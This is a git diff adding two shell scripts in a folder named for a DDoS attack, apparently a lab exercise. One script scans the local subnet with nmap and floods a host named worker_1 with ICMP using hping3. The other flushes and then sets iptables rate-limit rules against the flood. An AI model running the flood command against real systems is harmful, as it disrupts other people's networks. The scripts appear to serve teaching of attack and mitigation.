diff --git a/1. DDos Attack/master.sh b/1. DDos Attack/master.sh
new file mode 100644
index 0000000..a3abd8e
--- /dev/null
+++ b/1. DDos Attack/master.sh	
@@ -0,0 +1,4 @@
+my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')
+network=$(echo $my_ip | sed 's/.[0-9]$/.*/')
+worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()')
+sudo hping3 -p 80 --flood --icmp $worker
diff --git a/1. DDos Attack/worker.sh b/1. DDos Attack/worker.sh
new file mode 100644
index 0000000..64062a3
--- /dev/null
+++ b/1. DDos Attack/worker.sh	
@@ -0,0 +1,8 @@
+my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')
+sudo iptables -F
+sudo timeout 2s tcpdump -i eth0 icmp and src $my_ip
+sudo iptables -N icmp_flood
+sudo iptables -A INPUT -p icmp -j icmp_flood
+sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN
+sudo iptables -A icmp_flood -j DROP
+sudo timeout 5s tcpdump -i eth0 icmp and src $my_ip